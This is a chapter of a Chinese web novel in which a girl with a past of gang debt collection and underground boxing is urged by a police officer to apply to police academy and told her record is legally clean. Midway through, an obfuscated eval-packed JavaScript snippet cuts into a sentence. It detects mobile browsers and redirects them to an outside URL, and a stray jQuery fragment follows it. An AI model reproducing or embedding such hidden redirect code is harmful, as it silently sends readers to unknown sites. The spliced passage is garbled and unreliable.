73. 志愿
作品:《拨云不见日[九零]》 “警校”两个字落下的瞬间,阮云琛觉得自己像被什么东西狠狠击了一下。
她的指尖下意识地按在试卷的边缘,笔在纸面上留下一道淡淡的痕迹,却没了动静。
房间里的光线仿佛也沉下来了一些,投在她的掌心里,照亮了那一片细碎的旧疤痕。
她没有立刻抬头,呼吸压在胸口,像被什么堵住了一样。
廖致远没再说话。
他的目光安静地落在她的脸侧,像是在等一个回应,但没有催促。
阮云琛脑海里却掀起了一阵轰鸣,像一扇被强行推开的门,把所有被封闭在阴影里的东西都拖了出来。
这个词......这个词不该出现在她的人生里。
更不该从眼前这个男人的口中说出。
——“警校”。
两个轻飘飘的音节,像一颗投进深潭的石子,激起无数层涟漪,又迅速沉到意识的最底层,拖拽出压得她喘不过气的重量。
那是阮云琛根本不敢触碰的领域。
她与“警察”之间的关系,从来就不该是并肩,而是追逐。
她的过去——那些冰冷的档案、隐秘的伤疤、无法摆脱的噩梦——早已将她与这两个字隔绝成两个世界。
九岁那年,她攥着刀子,手指发抖却依旧紧紧抓住。刀锋刺穿的不是别人,而是她自己的界限。
那界限后来变成了她的盔甲。
阮云琛知道自己再也不可能成为别人眼里的“孩子”,她是一个罪人,是被定义好的“问题分子”,即便没人说出口,她也知道自己已经被划出了界线。
她是危险的,是让人避之不及的,是社会规则的破坏者。这样的她,怎么可能和“警察”联系在一起?
可就是这个词,让她愣在原地。它轻巧地从廖致远的口中滑出,却像是用刀子割开了她封闭已久的伤口。那些本该被掩埋的记忆,突然翻涌上来。
——警察。
是小时候她憧憬过的“正义”。
那个词在她幼年时甚至几乎等同于希望。
她曾经幻想过,如果警察来了,是不是就能把爸爸带走?是不是妈妈的哭声就会消失?是不是她和淼淼可以从那座阴冷的家逃出去?
她想过很多次,甚至有些天真的以为,只要警察的手电筒照进他们的家,黑暗就会被驱散。
这些幻想一开始明亮又美好,但随着时间的推移,变得黯淡,最后连同她所有的期待一起,沉入了深渊。
警察从来没有来过。
哪怕她带着满身的伤跑出家门,哪怕她的声音撕裂空气,她等到的也不过是几句冷冰冰的:“我们没有权限介入家事”,或者是“你需要证据”。
没有人真正关注过她,没有人告诉她应该怎么办。
久而久之,“警察”在她的世界里,成了一道模糊的影子。
它既是正义的象征,也是一个无法触碰的存在。
她憎恶那种冰冷的旁观,也害怕被正义的目光对准自己。
她知道,一旦成为他们目光的焦点,自己的生活会变成一张密密麻麻的问卷:为什么你的父亲会死?为什么你会去那些地方?为什么你会做那些事?
她没有答案,也无法回答。
而阮云琛也选择了另一条路,用自己的方式摆脱那片阴影——祈求宋祈,涉黑、收债、打拳,她走得越来越远,直至彻底放弃对“警察”的期待。
她清楚,自己从一开始就不属于那个世界。
可现在,她听到廖致远提起“警校”。
一个警察。
一个知道她过去、却没有拆穿她的警察。
她不明白。
阮云琛不明白。
他凭什么......?
凭什么对她提出这样“荒唐”的建议?
一股无法形容的情绪撞进她的胸口,强烈到几乎令人窒息。
那个曾经象征希望、后来又被她压进最深的泥沼里的词语,突然被拉出来,擦干净,放在了她面前。
它是她小时候曾经想抓住却抓不到的光,而如今,它变成了一面镜子,照出了她身上的泥泞和裂痕。
矛盾像细针一样扎进她的神经。她想起了自己过去的幻想,也想起了那些破碎的现实。
阮云琛无法相信这个词会与自己扯上关系,更不明白廖致远为什么会把它递到她面前。
警校?她一个生活在灰色地带、带着无数污点的人,怎么可能踏进那种地方?
可她没法完全拒绝这个想法。
或者说......
或者说,这个想法,曾经无数次地闪现过脑海。
它像某种不合时宜的念头,在每一次午夜的疲惫里、每一次黑暗的挣扎里,短暂地出现,又迅速被压下去。
那是她刻意避免触碰的区域,是她告诉自己永远不要去靠近的地方——不仅因为不可能,更因为太过刺痛。
她想过警校,想过成为一个警察。
那并非是野心,而是隐秘的、隐秘到连自己都不敢想的执念。
第一次冒出这个念头,是和淼淼一起缩在胡同口等天亮的时候。
那个冬天冷得像没有尽头,风从墙缝里钻进来,冻得淼淼直发抖,小小的脑袋靠在她肩膀上,睡得不安稳。
阮云琛记得自己看着街口的路灯,记得自己当时天真的想法,她想着,如果她是警察,她一定会停下来,小心发问,问“怎么会有两个孩子在这里”。
可是那时没有人来。
警察举着手电扫过了他们,只是短暂地停留了一秒,又像是什么都没看见似的走了远。
后来是阮秋,他还在桥动力的时候,坐在那暗影出,低头摆弄那些破铁片。
她看着那个瘦削的背影,心里升起了一种难以言说的复杂情绪。
如果那时候有人找到阮秋,如果在他还没有彻底蜷缩进黑暗里的时候,有一只手拉了他一把,他是不是就不需要握着这把刀过日子?
阮云琛恨过警察的不作为,恨他们的冷漠。
她恨他们站在“正义”的立场上,却从未真正伸出过手。但那种恨,归根结底,是从失望里长出来的,是在她无数次的期待被无视之后,沉淀下来的东西。
她恨,可她......也想成为他们。
她想过,如果她是一个警察,是不是就可以找到像阮秋那样的孩子,让他们不再孤零零地流落在桥洞下面;
是不是就能替自己的母亲伸张一点迟来的正义;
是不是就能保护淼淼,不让她有半点受苦的机会;
是不是就能早点......
早点将和安堂连根铲除。
可是每当这个念头刚冒出来,阮云琛都会迅速掐灭它。
不需要多费力气,只要稍稍想一想自己的过去,就能把这种妄想摁回到黑暗里。
阮云琛清楚自己是什么人,也清楚自己永远无法跨越那条线。
她杀了父亲,帮和安堂收债,在地下拳场站过台。这些东西,就像烙铁印在她的身上,随时准备暴露她是谁。
“警察”这个词,对她来说,是光。
也是一面无法逾越的墙。
可廖致远偏偏把这堵墙推到了她的面前。
他甚至毫不费力地替她指了一条路——通往她从未敢想过的远方。
阮云琛忽然觉得,廖致远是在挑衅她,在剖开她心底的每一处伤口,逼她去看那些她早已不敢直视的东西。
她的目光落在他身上,试图看透他的意图。
老警察坐在那里,肩膀略微耸起,背靠在椅背上,一只手搭在膝盖上,微微蜷着指尖,另一只手习惯性地揣在外套口袋里。那姿态太随意了,甚至带着一点敷衍的疏离。
他是故意的。
阮云琛知道他一定是故意的。
他不可能不明白这几个字眼对她意味着什么。
廖致远是个警察,一个擅长观察、擅长审视人心的警察。
他明明知道,她从来都小心翼翼地绕开关于未来的所有假设,却偏偏在这个时候、用这么轻描淡写的方式,把“警校”丢在她面前,像是一颗随手投掷的石子,却在她的湖面上砸出了千层波澜。
他一定知道她的过去——他就是知道阮云琛的过去。
那些不光彩的、她自己都不愿多提的东西,早已成了她生命的一部分。她能在每一次和他的对视里感受到他知道,却又选择不说的隐秘默契。
可他也不是故意的。
阮云琛再看了他一眼,心里生出某种荒谬的矛盾感。
廖致远的神情太过平静,甚至有些生硬,像是刚刚说完那句话就把所有的注意力从她身上撤了回来。
他的手指还在膝盖上轻轻叩着,像是在琢磨什么别的事情。他的眼神没有质问的锋芒,语气也不带一丝要追究什么的意味。
他只是随口提了这么一个选择,仿佛真的只是出于一种……关心。
他不是在挑衅她。也不是在逼迫她。
他甚至可能根本没有想那么多。
阮云琛知道,廖致远不擅长表达,他关心什么,总是藏在最不起眼的地方,不说,却也不躲。
他总是用这种表面不近人情的方式,把一份沉甸甸的期待压在别人肩膀上,却又不给出任何明确的答案。
她也知道,他没有必要和她多说什么。
他是个警察,不是她的父亲,更不是她的导师。
他和她的联系,是一层薄薄的监护人身份,甚至连这层身份也只是形式上的。她满十八岁之后,他完全可以摆脱这一切,甚至一句多余的话都不会留下。
可他还在说。
他说的每一个字,都像是一种笨拙的提醒,让她无从回避,让她必须去面对。
“警校,或许是个不错的选择。”他说。
“宋祈还在外面。”廖致远的声音不高,语气却像一道石缝里渗出的冷水,冰凉而刺骨。
阮云琛的手猛地一顿,笔尖压得更深,纸张发出一声微弱的撕裂声。她抬起头,眼神里带着一瞬的锐利,紧接着又被更深的沉默覆盖。
“他身边有的是人替他擦屁股,没那么容易落网。”廖致远低头,目光落在桌上的试卷,“你知道的,那些人做得比他更绝。”
“然后呢?”她的声音低下来,冷静得几乎听不出任何情绪,“你是要告诉我,我可以去当警察,亲手抓他?”
“你不想吗?”廖致远不答,只是反问。他的语气很轻,但却带着不容忽视的分量。
这句话像石子投入了平静的湖面,激起的涟漪在阮云琛的脑海里扩散开来。阮云琛的笔尖已经戳穿了纸张,油墨在纸页上印出一小片污渍。
阮云琛愣住了。
不想吗......?
她想啊。
怎么能不想。
她想让宋祈付出代价,想让那些曾经吞噬她和阮淼淼的黑暗永远消失。
她甚至想过,如果当年的她能站在那些被高利贷逼到走投无路的人面前,不是去收债,而是去帮他们,也许她的梦里会少一些无法甩开的影子。
可......
可她是站在他们对面的人啊。
阮云琛觉得讽刺。
她曾经拿着账本一笔一笔地逼人还钱,明知道那些人也不过是被生活压垮了,却还是一遍又一遍地重复宋祈教给她的话:“欠债还钱,天经地义。”
每次说出口,她都觉得自己的嘴巴像沾了铁锈一样难受,可她别无选择。
她从来都站在错的一边,甚至站得那么深,以至于再回头看那道线,已经模糊不清了。
可是......
那些人呢?那些被她用拳头和恐吓压弯了脊背的人呢?
“欠债还钱,天经地义。”
这句话当时听着多理直气壮,现在回响在耳边就有多荒唐。她甚至还会添上一句:“谁让你借钱的时候不长点心?”像是在为自己找到一个站得住脚的理由——可她知道,这种理由,撑不起人心。
她站在宋祈的对面,捏着账本,把一张张红钞票塞进口袋,然后用这些钱养活了自己、淼淼,还有那个总是躲在阴影里的男孩——阮秋。
她靠这些钱活下来了,可那些被她恐吓、威逼的人呢?他们用什么活下来?
有时候她也会想,那些在债务面前发抖的人,跟她其实没什么区别。
他们不过是另一种形式的“无路可走”,而她只不过比他们更狠一点、更冷一点。所以她成了砝码的一端,而他们被压在了另一端。
如果她真的能成警察,那些被她压垮的人会怎么看她?那些曾被她威胁过的人,会不会一边冷笑一边骂一句:这世道果然没救了。
他们骂得对。
这世道真的没救了。
如果救得了,她早该有别的选择——
可她没有。
阮云琛记得自己最初拿到和安堂账本的那一天,翻开那些名字的时候,心里那种难以言说的恶心感。
那感觉像是灌了凉水,又像是被什么钉子嵌进了骨头里。
那些名字,每一个都对应着一段不堪的故事:赌徒、病人、失业者,甚至有一个和她年纪差不多的女生。阮云琛盯着那串名字,手指在纸面上抠出了一道白痕。
她不止一次走进过警局。
那些日子,她在学校和和安堂之间穿梭,在收债和养活淼淼的压力下,带着侥幸和不切实际的希望踏进过警局的大门。
门口的蓝格子标牌在阳光下闪着刺眼的光,玻璃门后有人在说话。
她记得自己站在那里,手心被汗浸透了,脚像钉在地上一样动不了。
办公桌前的警察亲切地问她,问她发生了什么,是否需要什么帮助,可阮云琛的嘴巴开了又闭,半天没再说出一个字。
她不敢。
懦弱战胜了勇气,她害怕警察不管,害怕他们即使管了也没法把她从刀山火海中解救出来,害怕宋祈在得知这些之后,会变本加厉。
后来阮云琛就把账本带回了和安堂。
宋祈坐在沙发上等她,嘴里叼着烟,桌上的烟灰缸里已经满了。他听到门开时连头都没抬,声音轻得几乎要融进空气:“去警局了?”
阮云琛的动作顿住。
他终于抬头,目光轻飘飘地落在她手里的欠条上,嘴角挂着点漫不经心的笑:“看吧,最后你还不是会回到我身边。”
阮云琛想反驳,却发现自己说不出话来。
不是因为害怕宋祈,而是因为那一瞬间,她忽然发现,自己弱得可怕。
她就像是站在两道锁着的大门之间,无论怎么敲,回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114474|158973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应她的只有一道冰冷的回音。
“别浪费时间了,阮云琛。”宋祈摁灭了手里的烟头,笑得几乎温和,“如果想在这世道里活下去,就得学着接受它的规则。不是他们的,是我们的。”
阮云琛去过警局不止一次。
可每一次都以失败告了终。
曾经是懦弱,懦弱于开口声讨;后来是恐惧,恐惧于开了口之后迎接自己的将是冰冷的铁栏杆。
可她心底的那点不甘,从来没有消失过。她不知道这不甘是什么时候开始的,也许是从她第一次站在警局门口发呆的那一刻,也许是从宋祈那句轻飘飘的嘲讽开始的。它像一根刺扎在她心里,每一次她在收债时都会隐隐作痛。
她不知道自己有资格去做警察。
可她知道,如果是她——
她一定不会坐在那个玻璃门后面,用一句“没证据”打发那些带着希望的人。
阮云琛手中的笔被攥得更紧,指尖泛起了白色。油墨的污渍已经染到纸的背面,她却像没察觉一样,沉默地盯着那片狼藉,像是在寻找某种答案。
她知道这件事有多荒唐、多离谱。
可同时,她又知道,离谱并不是让她停下的理由。
因为她从没忘记,那些被她收债的人,在她转身走掉后,背后压抑到窒息的啜泣声。那些声音从没有一天真正从她耳边消失过。
“可我这样的人……”她喃喃着,声音低得像是藏在夜里的风,“凭什么成为警察?”
话出口时,她连自己都愣了一下,像是终于直面了某些一直在回避的念头。她抬起头,看向廖致远的眼睛,那里平静得像一面湖,却没有丝毫嘲讽或否定,反而映着她所有的迷茫与挣扎。
廖致远并没有立刻回答。他的目光稍微移开了一点,像是在思索,隔了好几秒,他才缓缓开口:“那为什么不能?”
语气里没有质问,也没有鼓励,只有一份让人无法轻视的平稳,仿佛他只是在陈述一个事实。
阮云琛怔住了。
“吃饱穿暖的人,永远不知道饥寒交迫是什么滋味。”廖致远的声音低而清晰,像是落在深夜里的雨点,缓缓渗透进她的意识里。“那些坐在高处的人,喊得再响亮,也永远听不见底层的声音——但你不是他们。”
他顿了顿,目光重新落回她的脸上,那目光像一束光穿透了所有灰暗的阴影。
“你爬过深坑,摔过血肉模糊,你知道地上的人需要什么。这比任何东西都更重要。”
空气静了一瞬,阮云琛没说话。她的手指轻轻蜷了蜷,指尖触碰到桌角的冰凉,那凉意顺着指尖一路攀爬,似乎冻结了她所有的逃避与抗拒。
她想反驳,想说“我没有资格”“我做不了”,但喉咙里却发不出声音。廖致远的这句话,像一颗种子,正悄悄在她心底扎根,刺破她小心翼翼筑起的壳,迫使她去直面那些从未敢碰触的希望。
廖致远微微倾身,声音压得更低了一些:“政审不用担心。”
阮云琛抬起头,看向他,目光里满是复杂的情绪——震惊、不解,还有隐约的不安。她半晌没有说话。
廖致远靠回椅背,双手交叠放在膝盖上,语气平静却透着某种笃定:“我上报了你的情况。没有造假,也没有隐瞒,所有的事情都按照程序走了一遍。”
他顿了一下,目光从窗外移回她的脸上,缓缓说道:“你以为,像你这样的背景,能顺利到今天,是因为我给你开了后门?”
阮云琛没有回答,但那一瞬间,她的手指不自觉地收紧了一些。
“不是。”廖致远的声音稍稍低了一些,像是压下了一阵缓慢而有力的风,“是因为你没有问题。”
他的视线落在她身上,语气不急不缓:“十四岁以下完全不承担刑事责任;十四岁到十六岁,仅对特别严重的犯罪承担责任,而被胁迫的情况下,更倾向于将未成年人视为受害者。更重要的是,你协助警方侦破了案件,这证明你不仅没有问题,反而是一个勇敢、值得信赖的人。”
阮云琛的身体微微一震,目光却还是低垂着,没有看他。
廖致远继续道:“你的档案上,没有任何刑事记录,也没有任何能够影响你政审的瑕疵。你是‘清白’的,这是法律认定的,而不是某种漏洞给了你机会。”
他顿了一下,声音更加平稳了一些:“你以为,你能好端端地坐在这里,是因为有人偏袒你,或者社会的某些环节出了问题?不,是因为你本来就清白。”
这句话像一颗钉子,狠狠扎进了阮云琛的心里。她的指尖缓缓收紧,指甲嵌入掌心的钝痛与胸口的闷意渐渐混在一起。
廖致远的语气轻了些:“你协助破案的记录,不会成为阻碍,反而是一个让人看到你人品的标尺。这一切,是你自己争取来的,不是别人的施舍。”
他停了一下,声音低了些,像是在叙述某种不容辩驳的事实:“这社会有它的复杂,人有他们的偏见,但这些都不该成为你放弃的理由。因为不管过去发生了什么,法律认定你是清白的,而你也从未背叛过这份清白。”
阮云琛的心里涌起一种莫名的荒谬感。
廖致远说得轻描淡写,但每个字都像一记耳光,扇在那个以程序正义自诩的系统脸上。
阮云琛低下头,嘴唇动了动,却发不出声音。她曾经无数次被推回那个泥潭,无数次被逼着相信自己就是泥潭里的一部分——而现在,她的“清白”,居然是那个泥潭从未承认她的结果。
“你确实也没做过什么不是吗?”廖致远忽地说道。
阮云琛一愣,抬起了头。那双眼睛里没有偏见,也没有冷漠,只有一种复杂的深沉,像是对这个世界的失望,也像是某种难以言说的坚持。
“我知道你做过什么。”廖致远开口时,声音低沉,却透着一股不容抗拒的力量。
阮云琛的瞳孔轻轻缩了一下,握紧的拳头在身侧绷得发紧。
“旁观者,被牵连者,受害人。”廖致远的眼神扫过她的脸,像是在审视,又像是在替她陈述,“可你不是罪犯。”
“可我......”阮云琛的声音微微一颤,仿佛卡在喉咙里。
廖致远的目光变得更加锋利,他一字一顿地说:“你亲手收过债,可这五次中,两次失败,三次主动协助警方侦破案件,未造成严重后果,反而立下功劳。你有错吗?”
阮云琛的呼吸停滞了一瞬,嘴唇微微张开,却没有发出声音。
“或者说......你有能力改变过什么吗?”廖致远的声音压得更低,“第一个被收债的母子,三十八块钱,连早餐都买不起。第四次,家庭作坊,没人敢开口。万秀家的录像机被拿走了,可你扣下的那盒磁带,后来作为关键证据让警方打掉了整条线。”
“可我打过......”她的声音细如蚊蝇。
“工厂区的拳场是正当经营,资金流水清白无瑕。那个地方被查封是因为毒品交易,与它的擂台和拳赛无关。”廖致远盯着她,声音更为冷静,“而你只是在擂台上做过短暂的‘表演’,挣的每一分钱,都是血汗钱。你有问题吗?”
她愣住了,喉咙像是被什么东西卡住,一句话都说不出来。
“张庆发......”廖致远顿了顿,缓缓将目光移向她,“那个男人,就算没有他,阮启明的死,也不过是突发脑溢血而已。”